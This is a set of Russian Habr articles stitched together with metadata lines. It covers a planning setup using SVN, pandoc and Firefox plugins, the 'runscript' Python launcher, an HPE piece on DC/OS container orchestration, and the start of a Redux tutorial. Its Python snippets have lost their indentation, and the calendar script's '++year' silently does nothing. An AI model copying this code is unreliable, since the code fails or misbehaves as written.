3. Щелкнуть правой на каталоге `PurposeMissionGoals` с исходной структурой, выбрать *`TortoiseSVN > Import...`*. В поле `"Url of repository"` указать (для этого примера): `file:///D:/planning/PurposeMissionGoalsRepository`. `"OK"`, теперь данные сохранены, и `PurposeMissionGoals` можно удалить.
4. Создать (в любом месте на диске) "рабочий каталог", например `PurposeMissionGoalsWorkingDirectory`. Щелкнуть на нем правой кнопкой, выбрать *`SVN Checkout...`*. В уже знакомом поле `"Url of repository"` указать тот же путь: `file:///D:/planning/PurposeMissionGoalsRepository`. `"OK"`, теперь данные скопированы для работы, изменения из рабочего каталога можно сохранять в репозиторий по мере надобности — *ничего не пропадет!*
И снова же, на всякий случай, минимальный набор команд SVN на каждый день:
* **[Check for modifications](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-wcstatus.html#tsvn-dug-wcstatus-2)**
Просмотреть список файлов, измененных в данном рабочем каталоге.
* **[Diff](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-wcstatus.html#tsvn-dug-diffing)**
Просмотреть изменения по тексту конкретного файла. (Также, двойным щелчком из списка файлов.)
* **[Revert...](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-revert.html)**
Перезаписать файл из рабочего каталога его старой версией из репозитория — **изменения будут потеряны!!!**
* **[Commit...](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-commit.html#tsvn-dug-commit-basics)**
Сохранить все изменения данного каталога или конкретный объект (файл, каталог) в репозиторий.
* **[Show log](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-showlog.html#tsvn-dug-showlog-1)**
Просмотреть список коммитов, касающихся данного каталога или конкретного объекта.
* **[Update [to revision...]](http://tortoisesvn.net/docs/release/TortoiseSVN_ru/tsvn-dug-update.html)**
Привести рабочий каталог в соответствие с состоянием репозитория — либо в его последней версии, либо на определенный момент.
3. Из wiki в html через pandoc
------------------------------
Исходные файлы можно превратить в веб страницы и затем просматривать в браузере. (Оттуда же будем и распечатывать, об этом — ниже.) Для конвертации форматов разметки есть замечательная утилита — [скачиваем](http://code.google.com/p/pandoc/downloads/list) и устанавливаем.
Мастер установки заканчивается страницей "Select Additional Tasks". На ней — только флажок `"Add application directory to your path"`. Его следует **оставить включенным**. Тогда команда `pandoc` будет доступна из командной строки, и ее можно использовать в скрипте. Файл скрипта поместим в каталог `PurposeMissionGoals\tools`, если следовать предложенной выше структуре.
Скрипт можно написать по-разному. Для Виндоуз подойдет самое простое (`.bat`), а кросс-платформенным вариантом пусть будет Питон. К слову, для генерирования бланка календарного графика (см. [Приложение D](#AppendixD)) [Питон](http://www.python.org/download/releases/2.7.2/) все равно понадобится, так что есть смысл установить, если еще не установлен. (Чтобы проверить, можно на системном диске поискать каталог установки, например `C:\Python27`.)
Если следующий текст сохранить в файл `PurposeMissionGoals\tools\generate_html.py`, то его запуск будет приводить к появлению в каталоге `PurposeMissionGoals\html` набора веб страниц, соответствующих текстовым исходникам из каталога `PurposeMissionGoals`.
```
# ...\PurposeMissionGoals\tools\generate_html.py
import os, string, shlex, subprocess, sys
toolDir = os.path.dirname(sys.argv[0])
os.chdir(toolDir)
for p in os.listdir('..'):
(name, ext) = os.path.splitext(p)
if ext == '.txt' :
commandLine = ('pandoc --from markdown --to html --standalone -o ../html/%s ../%s'
% (name + '.html', name + '.txt') )
args = shlex.split(commandLine)
subprocess.Popen(args)
```
А вот — все же вариант для Виндоуз без Питона:
```
@REM ...\PurposeMissionGoals\tools\generate_html.bat
FOR /F "delims=. tokens=1" %%A IN ('dir .. /B *.txt') ^
DO pandoc --from markdown --to html --standalone -o ..\html\%%A.html ..\%%A.txt
```
Таким образом, "цикл разработки" будет выглядеть следующим образом:
1. Редактировать `.txt` файлы из `PurposeMissionGoals`.
2. Запустить `generate_html.py` из `PurposeMissionGoals\tools`.
3. Открыть `.html` страницы из `PurposeMissionGoals\html` и просмотреть результаты.
4. Возврат к пункту 1.
Выполнение пункта 2 можно настроить при нажатии клавиши `F5` из `Notepad++`. А пункт 3 уже ко второй итерации сводится к переключению на браузер и обновлению страницы. В следующем разделе — добавим еще одно небольшое удобство при просмотре.
4. Просмотр страниц: Firefox плюс Tab Mix Plus
----------------------------------------------
Чтобы всякий раз открывать весь набор документов целиком, можно сохранить окно [браузера](http://www.mozilla.org/en-US/firefox/new/) с открытыми вкладками. [Плагин](http://tmp.garyr.net/), который обеспечивает эту возможность, не нуждается в рекламе.
Однажды выбрать *`Tools > Session Manager > Save This Window...`*, и нужные документы всегда будут на расстоянии щелчка. Осталось обеспечить ту же легкость при отправке на печать — и дело сделано!
5. Пакетная распечатка из Firefox с помощью UniversalPrint
----------------------------------------------------------
Чтобы вывести на печать все результаты разом, пригодится [этот плагин](https://addons.mozilla.org/en-US/firefox/addon/universal-print/). Название следующего пункта меню говорит само за себя:
`File > Universal Print > Print All Tabs`
При распечатке встретилась только одна тонкость: чтобы был надлежащий вид у таблиц с цветной фоновой заливкой (см. [Приложение C](#AppendixC)), нужно включить следующую опцию:
`File > Page Setup > "Print Background (colours & images)"`
Итого
-----
Ценой всех трудов, получили систему простую, как табуретка — и тоже на четырех ножках:
1. Конвертация формата разметки.
2. Версионирование.
3. Просмотр в сохраняемом окне браузера.
4. Распечатка всех страниц.
Задача решена? Решена. Гибкость? Поменять набор документов, поменять внешний вид, подключить источник данных? Да пожалуйста — все, на что сноровки хватит! Вот уж воистину, "если бы люди *действительно умели* пользоваться `find`, `grep` и `awk`, — тысячи прикладных программ так и не были бы написаны". (с)
Приложение A. Пример форматирования списка целей
------------------------------------------------
```
+6 месяцев (июль 2012)
========================
* Цели на полгода...
* ...
+1 год (февраль 2013)
=====================
* Цели на год...
* ...
+5 лет (2017)
=============
* Цели на пятилетку!!!
* ...
+10 лет (2022)
==============
* Цели на десятилетие...
* ...
```
Приложение B. Слоганы (mission, purpose) — выравнивание по центру
-----------------------------------------------------------------
```
| |
| --- |
|
СМЫСЛ
=====
|
|
AKA "Purpose" -
- чем (и зачем) я занимаюсь на этой земле
(вероятно, останется в общем неизменным до конца жизни).
|
|
ЦЕЛЬ
====
|
|
AKA "Mission" -
- долгосрочная крупная цель
(когда будет достигнута, ее сменит другая).
|
```
Приложение C. Пример таблицы целей по категориям
------------------------------------------------
```
Ноябрь 2011 - декабрь 2011: цели
================================
| | |
| --- | --- |
|
Имущество
---------
|
\* Техника:
- ... ;
- ... .
\* Обстановка: ... .
|
|
Социальность
------------
|
\* Спорт: ... .
\* Общение: ... .
|
|
Здоровье
--------
|
1. Анализы.
2. Профилактика.
|
|
Профессия
---------
|
\* Работа: ... .
\* Удаленный проект: ... .
\* Хобби: ... .
|
```
Приложение D. Бланк календаря на любой месяц
--------------------------------------------
Чтобы можно было в любой момент распечатать листок календаря формата A4 (на этот или на следующий месяц), сделаем несколько дополнений. В структуре каталогов:
```
[PurposeMissionGoals]
|-- ...
|--[schedules]
|-- ...
```
В каталоге `tools` — новые скрипты:
* [`htmlCalendar.py`](http://www.gerd-tentler.de/tools/pycalendar/?page=download) (чтобы скачать — щелкнуть по надписи `[calendar_python.zip]`)
* `generate_calendar.py`
* `generate_calendar_next.py`
Содержание "генерирующих" скриптов приведено ниже. Веб страницы, которые появляются в результате их работы, нужно распечатывать в "альбомной" ориентации бумаги:
`File > Page Setup... > "Landscape"`
```
# ...\PurposeMissionGoals\tools\generate_calendar.py
import datetime
import time
import htmlCalendar
def main(year, month):
myCal = htmlCalendar.MonthlyCalendar(year, month)
# Customize calendar appearance.
myCal.offset = 2 # start the week on Monday
scale = 6.0 # make the calendar big
myCal.dFontSize *= scale
myCal.tFontSize *= scale / 2.0 # scale titles almost proportionally
myCal.hFontSize *= scale / 2.0
myCal.wFontSize *= scale / 2.0
myCal.tdBorderColor = '#FFFFFF' # don't highlight today's day
myCal.weekNumbers = 1 # view week numbers: 1 = yes, 0 = no
brightness = 0xCC # print day numbers in gray
fontColor = "#%X%X%X" % (brightness, brightness, brightness)
myCal.dFontColor = fontColor
myCal.saFontColor = fontColor
myCal.suFontColor = fontColor
# Name the generated file by month.
htmlName = "../schedules/MonthlySchedule%s.html" % datetime.date(year, month, 1).strftime('%b%y')
# Save the result to disk.
htmlFile = open(htmlName, 'w')
htmlFile.write(myCal.create())
htmlFile.close()
if __name__ == "__main__":
import sys
year = time.localtime().tm_year
month = time.localtime().tm_mon
if len(sys.argv) > 1 :
year = sys.argv[1]
month = sys.argv[2]
main(year, month)
```
```
# ...\PurposeMissionGoals\tools\generate_calendar_next.py
import time
import generate_calendar
# Get current month.
now = time.localtime()
year = int(now.tm_year)
month = int(now.tm_mon)
# Advance to the next month.
if month == 12 :
++year
month %= 12
month += 1
# Generate calendar for the next month.
generate_calendar.main(year, month)
```
Приложение E. Распорядок дней недели
------------------------------------
Если график плотный, и назначения нужно расписывать с точностью до часов на неделю вперед, пригодится бланк соответствующего формата. Вообще говоря, бумага здесь — уже вчерашний день, многие пользуются календарем от Google (кнопка `"Неделя"`), кому-то удобнее все "жесткие" назначения держать в мобильном или `Outlook`-е. А для других ничто не заменит очарования карандаша с ластиком — быстро, наглядно… а когда неделя заканчивается, из напряженного графика можно сложить самолетик.
[Здесь](http://www.mintprintables.com/calendars/weekly/) представлено несколько дизайнерских решений. Правда, придется вручную заполнять даты. [Вот](http://www.vertex42.com/ExcelTemplates/weekly-schedule.html) аналогичный продукт, выполненный в Excel. И наконец, пара довольно "умных" таблиц с автоматическим заполнением заголовков по текущей дате:
* [здесь](http://www.vertex42.com/calendars/weekly-calendar.html) предлагается сохранять расписания на отдельных листах;
* [а тут](http://www.vertex42.com/calendars/weekly-planner.html) таблица сама напомнит о праздниках (только американских, правда), днях рождения и т.д.
Преимущество Excel-я в том, что можно вырезать и вставлять ячейки, не нарушая формул. Все работает, а выглядит — уже неповторимо (и удобно). При этом снова встретилась тонкость при распечатке — если вдруг после переделок со страницы пропадает половина ячеек по правой стороне, нужно подправить вот эту настройку (в `OpenOffice Calc`):
`Формат > Диапазоны печати > Изменить...`
В принципе, можно и электронную таблицу распечатывать автоматически, а текущую дату вводить программно — например, из скрипта на Питоне. Пусть это останется упражнением для читателя. | https://habr.com/ru/post/137972/ | null | ru | null |
# Runscript — утилита для запуска python скриптов
Думаю многим знакома следующая ситуация. В вашем проекте есть различные действия, которые нужно выполнять время от времени. Для каждого действия вы создаёте отдельный скрипт на питоне. Чтобы далеко не лазить, скрипт кладёте в корень проекта. Через некоторое время вся корневая директория проекта замусоривается этими скриптами и вы решаете сложить их в отдельную директорию. Теперь начинаются проблемы. Если указать интерпретатору python путь до скрипта, включающий эту новую директорию, то внутри скрипта не будут работать импорты пакетов, находящися в корне проекта т.к. корня проекта не будет в sys.path. Эту проблему можно решить несколькими способами. Можно изменять sys.path в каждом скрипте, добавляя туда корень проекта. Можно написать утилитку для запуска ваших скриптов, которая будет изменять sys.path перед запуском скрипта или просто будет лежать в корне проекта. Можно ещё что-то придумать. Мне надоело каждый раз изобретать колесо и я создал велосипед [runscript](http://github.com/lorien/runscript) на котором с удовольствием катаюсь.
Установить библиотеку можно с помощью pip:
> $ pip install runscript
После установки библиотеки runscript, вы получаете в вашей системе новую консольную команду run с помощью которой можно запускать скрипты. По-умолчанию, команда run ищет скрипты в под-каталоге script текущего каталога.
Давайте рассмотрим простой пример. Создадим каталог script. Создадим пустой файл script/\_\_init\_\_.py, превратив этот каталог в python-пакет. Теперь создадим файл script/preved.py со следующим содержимым:
```
def main(**kwargs):
print(‘Preved, medved!’)
```
Скрипт готов. Теперь мы можем его запустить:
> $ run preved
>
> Preved, medved!
Ура! Скрипт работает. Вот собственно и всё, что делает библиотека runscript. Я серьёзно :) Команда run запускает функцию main из файла, имя которого вы ей передали в командной строке. Оказалось, что даже такой простой фунционал очень удобен. Я с удивлением заметил, что пользуюсь утилиткой run в каждом своём проекте т.к. везде есть простенькие скрипты, которые нужно запускать.
Со временем утилита run обросла рядом полезных полезностей, о которых я сейчас расскажу.
### Получение параметров через командную строку
Чтобы передать вашему скрипту какие-либо параметры через командную строку, вам нужно описать эти параметры в функции setup\_arg\_parser внутри вашего скрипта. Эта функция получает на вход объект [ArgumentParser](https://docs.python.org/2/library/argparse.html#argumentparser-objects), в который вы можете добавить нужные опции. Далее, когда скрипт будет вызван, значения параметров командной строки будут переданы фунции main. Пример скрипта:
```
def setup_arg_parser(parser):
parser.add_argument(‘-w’, ‘--who’, default=’medved’)
def main(who, **kwargs):
print(‘Preved, {}’.format(who))
```
Запускаем:
> $ run preved
>
> Preved, medved
>
> $ run preved -w anti-medved
>
> Preved, anti-medved
Обратите внимание, как фунция main получила параметры командной строки — в виде обычных именованных параметров. Всегда нужно указывать \*\*kwargs т.к. кроме нужных вам параметров, передаются значения всех глобальных для утитилы run параметров (читайте о них ниже).
### Активация Django
Если вы пытались использовать фреймворк Django в ваших консольных скриптах, то знаете, что нужно сделать кое-что, иначе ничего не будет. Кое-что заключается в создании environment переменной DJANGO\_SETTINGS\_MODULE, cодержащей путь до модуля с настройками. Обычно в python скрипт добавляют следующие строки:
```
import os
os.environ[‘DJANGO_SETTINGS_MODULE’] = ‘settings’
```
Начиная с django 1.7 нужно также выполнить
```
import django
django.setup()
```
Для того чтобы выполнять автоматически эти действия в скриптах, запускаемых через run, нужно создать в корне проекта файл с именем run.ini, содержащим следующие настройки:
```
[global]
django_settings_module = settings
django_setup = yes
```
### Профилирование
Добавив ключик --profile при вызове скрипта, получим файл с результатами профилирования работы нашего скрипта, который можно посмотреть в kcachegrind. Результат сохраняется в каталог var/.prof.out, так что не забудьте создать этот каталог. Также нужно установить модуль [pyprof2calltree](https://pypi.python.org/pypi/pyprof2calltree), который нужен, чтобы сохранить результат профилирования в формате [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html).
> $ run preved --profile
>
> Preved, medved
>
> $ ls var/
>
> preved.prof.out
>
>
### Настройка мест поиска скриптов
По-умолчанию, утилита run ищет скрипт в двух пакетах: grab.script и script. Пакет grab.script добавлен в этот список, потому что во многих проектах парсинга сайтов я запускаю команду crawl из grab.script пакета. Если вам нужно изменить места для поиска скриптов, создайте следующую настройку в run.ini файле:
```
[global]
search_path = package1.script,foo,bar
```
Теперь если мы выполним команду `run preved`, то утилита run попытается импортировать модуль preved в следующем порядке:
* package1.script.preved
* foo.preved
* bar.preved
### Использование lock-файлов
Иногда бывает нужно запретить одновременную работу нескольких экземпляров скрипта. Например, мы вызываем скрипт каждую минуту с помощью cron и хотим не допустить одновременной работы нескольких копий скрипта, что может произойти, если работа одной из копий затянется больше, чем на минуту. С помощью опции --lock-key мы можем передать имя lock-файла, который будет создан в каталоге var/run. Например, --lock-key foo приведёт к созданию файла var/run/foo.lock.
Другой способ задать имя lock-файла — создание функции get\_lock\_key внутри вашего скрипта. Результат её работы будет использован утилитой run, для формирования имени lock-файла. Фунция будет полезна на тот, случай, если вы хотите генерировать имя lock-файла в зависимости от параметров, передаваемых скрипту.
```
import time
def get_lock_key(who, **kwargs):
return 'the-{}-lock'.format(who)
def setup_arg_parser(parser):
parser.add_argument('-w', '--who', default='medved')
def main(who, **kwargs):
print('Preved, {}'.format(who))
time.sleep(1)
```
Запускаем одновременно две копии скрипта и видим:
> $ run preved -w anti-medved & run preved -w anti-medved
>
> [1] 25277
>
> Trying to lock file: var/run/the-anti-medved-lock.lock
>
> Preved, anti-medved
>
> Trying to lock file: var/run/the-anti-medved-lock.lock
>
> File var/run/the-anti-medved-lock.lock is already locked. Terminating.
>
> [1]+ Done run preved -w anti-medved
>
>
Я рассказал об основных возможностях библиотеки runscript[.](https://grablab.org) Надеюсь, она окажется вам полезной.
В случае вопросов по поводу работы библиотеки можно всегда посмотреть в исходный код, который на данный момент довольно маленький: [github.com/lorien/runscript/blob/master/runscript/cli.py](https://github.com/lorien/runscript/blob/master/runscript/cli.py) | https://habr.com/ru/post/248871/ | null | ru | null |
# HPE инвестирует в контейнеры
Сегодня многие технологические компании обращают пристальное внимание на технологию контейнеров. В их числе – Google, IBM, Microsoft и конечно HPE. Контейнеры позволяют «упаковать» в один физический сервер намного больше приложений, чем это позволяют сделать виртуальные машины. Контейнерные технологии не новы, например, многие знают о них по разработкам компании Parallels, но они играют все более важную роль в центрах обработки данных и облаках. О них и пойдет речь.
[](https://habrahabr.ru/company/hpe/blog/302892/)
Немножко не те контейнеры, о которых речь, но надо же привлечь внимание :)
Как и многие компании мира высоких технологий, компания Hewlett Packard Enterprise занимается венчурными инвестициями. Один из недавних примеров – инвестиции в разработчика лидирующих на рынке программно-определяемых объектных хранилищ Scality. Другой пример инвестиций в передовые технологии – поддержка стартапа Mesosphere, разработчика так называемой DC/OS.
Что такое DC/OS и чем она хороша?
---------------------------------
Операционная система DC/OS (Data Center Operating System), известная ранее как DCOS, недавно перешла в разряд Open Source. Компания-разработчик Mesosphere из Сан-Франциско решила открыть исходный код ее ядра.
Mesosphere разработала коммерческую версию DCOS пару лет назад. Основанная на ядре Apache Mesos, DC/OS упрощает управление разнородными нагрузками на таких платформах как Hadoop, Spark, Kafka и Docker. К настоящему времени Mesosphere DC/OS стала коллективным проектом, в котором участвуют более 50 компаний, включая Autodesk, Canonical, Cisco, Citrix, EMC, HPE, Joyent, Microsoft, NetApp и Verizon.
Контейнеры и микросервисы стали завоевывать популярность в связи с разработкой и развертыванием распределенных приложений. Как оказалось, контейнеризация дает целый ряд преимуществ. Приложения в контейнерах получили название нативных облачных приложений.
Чем же хороша в этом плане DC/OS? Хотя контейнеры позволяют достичь хорошей масштабируемости, у них есть недостаток – сложно добиться тесной интеграции с существующими приложениями, такими как базы данных, хранилища данных и платформы для больших данных. DC/OS как раз и разработана для того, чтобы можно было управлять приложениями разного типа в одной среде. Она устраняет разрыв между традиционными бизнес-приложениями и современными облачными приложениями, обеспечивает оркестрацию.
Например, в DC/OS можно работать с горизонтально-масштабируемыми Web-приложениями в контейнерах, взаимодействующих с кластерами Apache Hadoop или Cassandra, использовать Marathon для оркестрации контейнерных приложений и Chronos – для планирования длительных задач. Такая унифицированная среда позволяет наряду с традиционными выполнять масштабируемые контейнерные приложения. Это главная особенность DC/OS.
Хотя для создания и развертывания контейнеров традиционно используется Docker, нужен дополнительный уровень для оркестрации контейнерных приложений. Такими решениями для управления контейнерами на более высоком уровне являются Docker Swarm и Kubernetes. ПО Docker Swarm разрабатывается и поддерживается компанией Docker, а Kubernetes – результат перевода в Open Source подмножества разработанного Google инструмента управления ЦОД под названием Borg. Интересно, что DC/OS может управлять как средами Docker Swarm, так и Kubernetes.
Операционная система DC/OS охватывает все серверы в ЦОД или в облаке и реализует мощный уровень абстрагирования ресурсов. Лежащее в основе DC/OS ядро Apache Mesos для распределенных систем включает в себя планировщик, создающий пул ресурсов, автоматически распределяющий их и планирующий задания согласно запросам и политикам.
По сути, ЦОД работает как один большой компьютер. Технологию Mesosphere можно рассматривать как некий мозг, автоматически распределяющий ресурсы и данные для приложений.
DC/OS предоставляет гибкие возможности развертывания приложений, сервисов и инфраструктуры больших данных, использующих общие ресурсы. В такой масштабируемой среде можно выполнять разные приложения и нагрузки – от PaaS до приложений больших данных и СУБД. Работает DC/OS в любой современной среде Linux, в частном и публичном облаке, в виртуальных машинах, на «голом железе» x86, обеспечивая эффективное использование ресурсов.
Отраслевая поддержка
--------------------
В прошлом году для продвижения нативных облачных приложений под руководством Google был сформирован консорциум Cloud Native Computing Foundation (CNCF). Его членами стали Joyent, CoreOS, IBM, VMWare, Cisco, Weaveworks и др. Консорциумом CNCF управляет Linux Foundation. Mesosphere – один из основателей этого консорциума.
Отдельного консорциума по DC/OS компания Mesosphere не создавала, но она поддерживает сообщество разработчиков соответствующего ПО. Если консорциум CNCF в большей степени ассоциируется с Kubernetes, то на повестке дня сообщества, возглавляемого Mesosphere и Microsoft, – вопросы развития и продвижения DC/OS. Эксперты считают, что со временем DC/OS может стать реальной альтернативой Kubernetes.
HPE и Microsoft – ключевые инвесторы Mesosphere. Их инвестиции составили 73,5 млн. долларов, причем ведущая роль принадлежит Hewlett Packard Enterprise. Технология DC/OS будет играть важную роль в гибридных облаках Microsoft и может быть задействована в будущей платформе для частного облака Microsoft Azure Stack. Благодаря сервису Azure Container Service в публичном облаке и DC/OS в частном облаке Microsoft сможет предложить корпоративным заказчикам возможности гибридного облака. В корпоративных ЦОД возможности DC/OS могут также использовать другие технологии, такие как HDInsight в Windows Server.
Разработки Mesosphere нашли отражение в Microsoft Azure Container Service (ACS). Azure Container Service значительно ускоряет разработку ПО. Корпорация Microsoft сделала доступным свой сервис оркестрации контейнеров одновременно с анонсом Mesosphere DC/OS. ACS – это сервис CaaS («контейнеры как сервис»), конкурирующий с Google Container Engine и Amazon EC2 Container Service. Однако ни Amazon, ни Microsoft не являются членами Cloud Native Computing Foundation. В Amazon CaaS применяется проприетарный механизм оркестрации, а Azure Container Service поддерживает Docker Swarm и DC/OS. Kubernetes они не используют.
Компания Verizon применяет Mesosphere DC/OS для управления своими дата-центрами, а Apple, Twitter и Airbnb используют эту технологию для работы с большими объемами данных. Например, Apple задействовала ее в своем виртуальном ассистенте Siri.
Несомненно, DC/OS должна сыграть важную роль в управлении корпоративными облачными дата-центрами. Именно этим объясняются инвестиции HPE. Будучи задействованной в таких продуктах как HP Helion и Microsoft Azure Stack, она должна помочь корпоративным заказчикам перейти к облачной модели, сохраняя свои инвестиции в ЦОД.
Развертывая Apache Spark, Kafka, Cassandra и Zeppelin в DC/OS, можно получить оптимизированную среду для масштабной обработки данных, ресурсы которой одновременно доступны для других нагрузок, например, для Web-серверов или Java-приложений.
DC/OS на серверах HPE ProLiant и Cloudline
------------------------------------------
Что же дает развертывание DC/OS на серверах HPE ProLiant и Cloudline? Преимуществ немало:
• **Масштабируемость, гибкость и автоматизация.** Планировщик DC/OS позволяет создавать пул распределенных нагрузок (сервисов DC/OS). Задачи развертывания сервисов, их масштабирования и управления ими сводятся к простым командам, значительно упрощается обеспечение безопасности и непрерывности бизнеса. Серверы HPE ProLiant имеют гибкую архитектуру и расширяемую подсистему ввода-вывода, поэтому они хорошо подходят для такой среды. Гипермасштабируемые серверы семейства HPE Cloudline разработаны специально для провайдеров. Они предусматривают быстрое развертывание, гибкость эксплуатации и имеют низкие показатели TCO.
• **Ускоренное получение результатов от новых сервисов.** DC/OS позволяет предприятиям легко развертывать и масштабировать сервисы (причем в этом может участвовать несколько команд), применять инструменты интеграции типа Jenkins, использовать репозитории объектов и средства контроля кода.
• **Гибкое управление инфраструктурой.** Серверы ProLiant поддерживают такие инструменты управления и обновления ПО как HPE OneView и Smart Update, встроенное удаленное управление и мониторинг средствами HPE iLO. Серверы Cloudline рассчитаны на открытые инструменты управления и стандартные интерфейсы, легко вписываются в неоднородную среду с платформами разных вендоров. HPE – один из основателей открытой спецификации Redfish для программно-определяемых ЦОД. Этот стандарт в значительной степени базируется на реализации RESTful API для HPE iLO. Redfish API можно использовать при работе с серверами HPE ProLiant и Cloudline.
• **Перемещение, интеграция и доставка приложений между разными средами.** HPE придерживается открытых стандартов, архитектур на базе API и Open Source, включая Cloud Foundry, DC/OS и OpenStack. Какой бы ни была облачная среда – частной, публичной или гибридной, для нее доступна обширная экосистема аппаратного, программного обеспечения и услуг.
• **Быстрый анализ разнородных данных.** DC/OS поддерживает такие сервисы как Kafka, Spark и Cassandra, часто используемые в интернете вещей и аналитике больших данных. Это позволяет предприятиям получить простое и готовое решение для приложений больших данных.
Пример: оркестрация контейнеров
-------------------------------
В [данном примере](http://h20195.www2.hp.com/v2/GetDocument.aspx?docname=4AA6-5134ENW&doctype=Technical%20white%20paper&doclang=EN_US&searchquery=&cc=us&lc=en,ru-ru) для оркестрации контейнеров использовались серверы ProLiant DL380 Gen 9 следующей конфигурации:
Логическая архитектура DS/OS с Marathon выглядит так:
Marathon – планировщик ресурсов в кластере. Он обеспечивает высокую масштабируемость приложений и сервисов в среде DC/OS. Marathon работает поверх DC/OS, где есть собственный планировщик для запуска/останова задач или сервисов приложений. В данном случае Marathon выполняет функции более высокого уровня – осуществляет мониторинг и оркестрацию.
DC/OS поставляется с отказоустойчивой службой Marathon для приложений с продолжительным временем работы. В данном примере именно она используется для оркестрации контейнеров – Container Orchestration. Служба marathon-lb обеспечивает балансирование нагрузки для приложений Marathon. Запускается она так:
```
$ dcos package install –yes marathon-lb
```
Теперь можно использовать кластерную среду DC/OS с marathon-lb в DC/OS Public Agent. Приложения Marathon, настроенные на балансирование нагрузки, будут видеть соответствующие адреса и порты. Пользовательский интерфейс Marathon выглядит следующим образом:
DC/OS поддерживает как нативные контейнеры Linux, так и контейнеры Docker. Язык спецификации приложений Marathon при этом один и тот же.
Следующий пример на Python показывает конфигурирование приложения Marathon для Web-сервера внутри нативного контейнера Linux. Данное приложение обслуживает Corporate Cafeteria Menu из Load Balancer VIP. Используется балансировщик Marathon Load Balancer. Как показано ниже, определение приложения Marathon – это простой файл simple.json.
Приложение можно запустить из Marathon UI или из DC/OS CLI командой:
```
$ dcos marathon app add 0c-python-corpmenu-lb.json
```
Так выглядит Container Orchestration Marathon UI с приложением Web Menu. Определение приложения Corporate Menu содержит инструкции для подключения данного приложения к балансировщику Load Balancer и указывает, какой порт TCP открыт для Web Service.
Теперь протестируем приложение, обращающееся к Load Balancer VIP через заданный сервисный порт (10001). Для выполнения Load Balancer используется DC/OS Public Agent по адресу 10.250.40.138. Балансировщик нагрузки Marathon показывает следующий пользовательский интерфейс Container Orchestration приложения Web Menu:
Теперь можно масштабировать приложение до 1000 экземпляров. Marathon будет запускать их, отслеживая выполнение каждого и показывая статус в UI. Экземпляры распределяются по всем доступным агентам DC/OS Agent. Нагрузка на кластер DC/OS увеличивается:
Теперь протестируем Java-приложение, используя Docker. После запуска 1000 экземпляров в Corporate Web Menu создадим второе приложение Marathon. Оно использует образ Docker, который инсталлирует Java Runtime Environment. Данное приложение будет запускать Apache FTP Server. Определение приложения Marathon для Java-приложения в контейнере Docker выглядит так:
Запустим приложение командой DC/OS CLI:
```
$ dcos marathon app add 10b-apacheftp-java-docker.json
```
После запуска одного экземпляра Java-приложения для Docker получим в Marathon UI:
Масштабируем его до 250 экземпляров:
В отличие от примера с Web-сервером, балансировщик Load Balancer для данного приложения не используется. В данном случае в качестве инструмента Service Discovery применяется Mesos-DNS в составе DC/OS. Для определения IP-порта задействован Marathon UI. Для одного экземпляра Java-приложения Marathon UI показывает следующую информацию:
Теперь используем FTP-клиента для тестирования одного из 250 экземпляров Java-приложения:
Container Orchestration: результаты
-----------------------------------
Итак, в данном примере в кластере DC/OS с использованием двух разных технологий контейнеров было запущено большое число экземпляров приложений. Это делается за считанные минуты, а масштабирование приложений – дело нескольких секунд.
Кроме того, достигается высокий коэффициент использования кластера DC/OS, улучшается показатель ROI.
Контейнерное будущее — сегодня
------------------------------
Итак, подведем итоги. Datacenter Operating System (DC/OS) – открытая платформа для выполнения приложений корпоративного класса, основанная на ядре Apache Mesos. Использование DC/OS корпоративными заказчиками и облачными провайдерами с серверами серии HPE ProLiant и Cloudline позволяет создать гипермасштабируемую среду с СПО. Предприятия получают возможности гибкого развертывания распределенных приложений на надежных системах HPE. DC/OS помогает справиться с растущей сложностью абстрагированной (виртуализованной, контейниризованной и проч.) инфраструктуры ИТ, может оркестрировать любые типы ресурсов в ЦОД, включая физические и виртуальные серверы.
Контейнеры выполняются на одном уровне с физическими серверами. Отсутствие виртуализованного оборудования и использование реального оборудования и драйверов позволяют получить непревзойденную производительность. А каждый контейнер может масштабироваться до ресурсов всего физического сервера.
Технология виртуализации на уровне ОС позволяет добиться высочайшей плотности, среди доступных решений виртуализации. Возможно создание и запуск сотен контейнеров на одном стандартном физическом сервере. Контейнеры используют единую ОС, что упрощает их поддержку и обновление. Приложения также можно развертывать в отдельном окружении.
Контейнеры сегодня нередко рассматривают как альтернативу виртуализации. В аппаратной виртуализации базовый слой – гипервизор. Он загружается на сервере и обеспечивает взаимодействие между его аппаратными средствами и виртуальными машинами. Чтобы предоставить ресурсы виртуальным машинам, обеспечивается их виртуализация на сервере. Виртуальные машины запускают свою собственную копию операционной системы и приложений на виртуализированном оборудовании.
ВМ требуют значительных системных ресурсов. Каждая виртуальная машина содержит не просто копию ОС, а виртуальную копию всех необходимых аппаратных средств. А это требует ресурсов ЦП и ОЗУ. Контейнеру для выполнения конкретного приложения достаточно операционной системы, поддерживающих программ и библиотек. На практике это означает, что сервер сможет поддерживать в два-три раза больше приложений, чем в случае ВМ. А вы уже используете контейнеры в своем ЦОД? | https://habr.com/ru/post/302892/ | null | ru | null |
# Рассказ о том, как создать хранилище и понять Redux
Redux — это интересный шаблон, и, по своей сути, он очень прост. Но почему его сложно понять? В этом материале мы рассмотрим базовые концепции Redux и разберёмся с внутренними механизмами хранилищ. Поняв эти механизмы, вы сможете освоиться со всем тем, что происходит, что называется, «под капотом» Redux, а именно — с тем, как работают хранилища, редьюсеры и действия. Это поможет вам вывести на новый уровень отладку приложений, поможет писать более качественный код. Вы будете точно знать, какие именно функции выполняет та или иная строка вашей программы. Мы будем идти к пониманию Redux через практический пример, который заключается в создании собственного хранилища с использованием TypeScript.
[](https://habrahabr.ru/company/ruvds/blog/345340/)
Этот материал основан на [исходном коде](https://github.com/UltimateAngular/redux-store) хранилища Redux, написанном на чистом TypeScript. Автор предлагает всем желающим взглянуть на этот код и разобраться с ним. Однако, он указывает на то, что этот проект предназначен для учебных целей.
Терминология
------------
Если вы только недавно начали осваивать Redux, или лишь пролистали [документацию](https://redux.js.org/), вы, наверняка, встретились с некоторыми терминами, которые, полагаю, стоит рассмотреть прежде чем мы приступим к самому главному.
### ▍Действия
Не пытайтесь воспринимать действия (actions) как JavaScript API. У действий есть определённая цель — и это нужно понять в первую очередь. Действия информируют хранилище о намерении (intent).
